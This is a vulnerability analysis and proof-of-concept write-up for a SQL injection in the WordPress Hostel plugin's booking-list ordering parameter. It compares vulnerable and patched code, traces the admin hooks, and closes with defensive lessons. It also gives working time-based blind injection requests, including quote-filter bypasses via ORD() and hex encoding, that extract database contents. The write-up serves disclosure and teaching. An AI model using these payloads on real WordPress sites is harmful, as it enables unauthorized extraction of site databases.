Contents

CVE-2025-39566 Analysis & POC

A vulnerability in the Hostel plugin prior to version 1.1.5.7. Because input is not sanitized properly, this may allow an attacker to interact directly with the database, including but not limited to data exfiltration.

  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Hostel Plugin: v1.1.5.6 (vulnerable) and v1.1.5.7 (fixed)
  • diff tool: meld or any tool capable of comparing two versions to show differences

The root cause is that the application injects data from a GET request directly into an SQL query while the validation/whitelisting is insufficient.

Use any diff tool to compare the vulnerable version and the patched version. A clear difference exists in the file controllers/bookings.php

Vulnerable version:

if(!empty($_GET['ob'])) {					
    $orderby = "ORDER BY ".sanitize_text_field($_GET['ob']) . ' ' . $dir;
}

Patched version:

if(!empty($_GET['ob'])) {
    $ob = sanitize_text_field($_GET['ob']);
    if(!in_array($ob, ['tB.id', 'tB.contact_name', 'tB.contact_email', 'tB.from_date', 'tB.amount_paid', 'tB.status'])) {
        $ob = 'tB.id';
    }
    $orderby = "ORDER BY $ob $dir";
}

👉 The patch uses a whitelist to restrict which columns can be used for ordering; if the supplied value is not valid it falls back to 'tB.id'.

Analysis: The vulnerability appears because the ob parameter is passed directly into the ORDER BY clause after sanitize_text_field(). That function only escapes/cleans text for HTML contexts and does not validate or filter for SQL injection in an SQL context.

To inject, we need to identify the complete query used here:

$bookings = $wpdb->get_results("SELECT SQL_CALC_FOUND_ROWS tB.*, tR.title as room FROM ".WPHOSTEL_BOOKINGS." tB JOIN ".WPHOSTEL_ROOMS." tR ON tR.id = tB.room_id WHERE is_static=0 $where_sql $orderby $limit_sql");

The query resides in the default branch of the switch structure.

All this logic belongs to the static manage() method of the WPHostelBookings class.

class WPHostelBookings {
    static function manage() {
        global $wpdb;
        $_booking = new WPHostelBooking();

        switch(@$_GET['do']) {
            case 'add': // add handle
            break;

            case 'edit': // edit handle
            break;

            // view/print booking details. Will allow also to confirm/cancel
            case 'view': // view handle			
            break;			

            // list bookings
            default:
            // another logic

            if(!empty($_GET['ob'])) {					
                $orderby = "ORDER BY ".sanitize_text_field($_GET['ob']) . ' ' . $dir;
            }

            $bookings = $wpdb->get_results("SELECT SQL_CALC_FOUND_ROWS tB.*, tR.title as room 
            FROM ".WPHOSTEL_BOOKINGS." tB JOIN ".WPHOSTEL_ROOMS." tR ON tR.id = tB.room_id
            WHERE is_static=0 $where_sql $orderby $limit_sql");

            // another logic
            break;
        }
    }
}

In WordPress, plugins communicate with core via the Plugin API (Hook System). Therefore, to find where manage() is invoked, we can search for the string "manage" in the plugin folder.

search manage()
Search

In the file models/hostel.php we have:

class class WPHostel {
    // another logic

    static function menu() {
        // we use 'hostelpro_manage' for consistency with the pro version
        $wphostel_caps = current_user_can('manage_options') ? 'manage_options' : 'hostelpro_manage';     

        add_menu_page(__('Hostel', 'wphostel'), __('Hostel', 'wphostel'), $wphostel_caps, "wphostel_options", 
            array(__CLASS__, "options"));
        add_submenu_page('wphostel_options', __('Settings', 'wphostel'), __('Settings', 'wphostel'), $wphostel_caps, "wphostel_options", 
            array(__CLASS__, "options"));
        add_submenu_page('wphostel_options', __("Manage Rooms", 'wphostel'), __("Manage Rooms", 'wphostel'), $wphostel_caps, 'wphostel_rooms', array('WPHostelRooms', "manage"));
        add_submenu_page('wphostel_options', __("Manage Bookings", 'wphostel'), __("Manage Bookings", 'wphostel'), $wphostel_caps, 'wphostel_bookings', array('WPHostelBookings', "manage")); 
        add_submenu_page('wphostel_options', __("Unavailable Dates", 'wphostel'), __("Unavailable Dates", 'wphostel'), $wphostel_caps, 'wphostel_unavailable', array('WPHostelBookings', "unavailable")); 
        add_submenu_page('wphostel_options', __("Email Log", 'wphostel'), __("Email Log", 'wphostel'), $wphostel_caps, 'wphostel_emaillog', array('WPHostelHelp', "email_log"));
        add_submenu_page('wphostel_options', __("Help", 'wphostel'), __("Help", 'wphostel'), $wphostel_caps, 'wphostel_help', array('WPHostelHelp', "index"));     
    }

    // another logic
}

Here:

  • add_menu_page() creates the main menu in the Admin Dashboard.
  • add_submenu_page() adds submenu items under that menu.
  • The $callback parameter is the callback function invoked when a user clicks the menu/submenu.

Example:

// add_menu_page($page_title, $menu_title, $capability, $menu_slug, $callback = '', $icon_url = '', $position = null);
add_menu_page(__('Hostel', 'wphostel'), __('Hostel', 'wphostel'), $wphostel_caps, "wphostel_options", 
    array(__CLASS__, "options"));

// add_submenu_page($parent_slug, $page_title, $menu_title, $capability, $menu_slug, $callback = '');
add_submenu_page('wphostel_options', __("Manage Bookings", 'wphostel'), __("Manage Bookings", 'wphostel'), $wphostel_caps, 'wphostel_bookings', array('WPHostelBookings', "manage"));

// array('WPHostelBookings', "manage")); => WPHostelBookings::manage()

All these menu/submenu items are registered inside the static menu() method of the WPHostel class. To locate where menu() is called, search for the menu hook in the plugin directory.

search menu()
Search menu

In the plugin root file hostel.php we have:

add_action('admin_menu', array("WPHostel", "menu"));

// => callback: WPHostel::menu()
  • add_action() is the WordPress Plugin API that attaches a callback to an action hook.
  • The hook name here is admin_menu, meaning WPHostel::menu() will be called during the lifecycle when WordPress builds the Admin Dashboard Menu.

Menu in the Admin UI

Menu UI

Menu UI

Debugging

  • The faulty functionality is in the Booking Manager, so navigate to the Manage Bookings submenu in the Admin UI.

  • Right before the default branch there is a comment // list bookings — indicating this code handles listing and ordering bookings.

  • Open your debugger:

    • Click Run with Debugger.
    • Set a breakpoint at the switch branch that contains the vulnerable code and at the exact line that assigns the vulnerable value.
  • When you click a column header in the bookings table, observe:

    • The debugger steps into the switch.
    • Use Step Over to reach the default branch.
    • Continue Step Over and inspect variables in Variables > Locals. These variables combine to form the SQL query below.

After combining the variables, the full query looks like:

SELECT SQL_CALC_FOUND_ROWS tB.*, tR.title as room 
FROM wp_hostel_bookings tB 
JOIN wp_hostel_rooms tR ON tR.id = tB.room_id 
WHERE is_static=0 AND tB.id = ... 
ORDER BY tB.amount_paid ASC|DESC 
LIMIT ...

Notably, the $orderby variable is assigned as:

if(!empty($_GET['ob'])) {					
    $orderby = "ORDER BY ".sanitize_text_field($_GET['ob']) . ' ' . $dir;
}

⚠️ Issues here:

  • The part after ORDER BY uses sanitize_text_field().
  • That function only cleans HTML, and does not validate or filter input to make it safe in an SQL context.
  • Therefore the ob parameter (provided by the user) can be abused to inject SQL directly.

Request with BurpSuite:

GET /wp-admin/admin.php?page=wphostel_bookings&type=upcoming&ob=tB.status,(SELECT+SLEEP(10))&dir=ASC HTTP/1.1

We separate the ORDER BY clause with a comma because it accepts multi-column values.

time response
Detecting SQLi

Result: the response time is delayed → SQL Injection succeeded.

Bypass ' using ORD():

To dump database data we need to extract characters such as the first character of the database name.

Because sanitize_text_field() removes single quotes ('), we cannot use payloads relying on '. Instead, use ORD() to compare character ASCII codes:

GET /wp-admin/admin.php?page=wphostel_bookings&type=past&ob=tB.status,(SELECT+IF(ORD(SUBSTRING(DATABASE(),1,1))=119,SLEEP(5),0))&dir=ASC HTTP/1.1

Bypass succeeds → we can extract the database name.

ORD bypass
Dumping Data from the Database

Bypass ' using Hex encoding (alternative)

Besides ORD() we can use Hex encoding to bypass:

GET /wp-admin/admin.php?page=wphostel_bookings&type=past&ob=tB.status,(SELECT+IF(SUBSTRING(DATABASE(),1,1)=0x77,SLEEP(5),0))&dir=ASC HTTP/1.1

Bypass succeeds → database name can be extracted.

Hex encoding bypass
Bypass succeeds

The vulnerability CVE-2025-39566 in the WordPress Hostel plugin (versions prior to 1.1.5.7) stems from inserting user-supplied input directly into an SQL query without adequate safeguards, leading to SQL Injection.

Key takeaways:

  • sanitize_text_field() ≠ protection against SQL Injection
  • Distinguish clearly between input cleaning for HTML contexts and validation/sanitization for SQL contexts

SQL Injection Cheat Sheet – PortSwigger

WordPress Hostel Plugin <= 1.1.5.6 is vulnerable to SQL Injection - patchstack

Related Content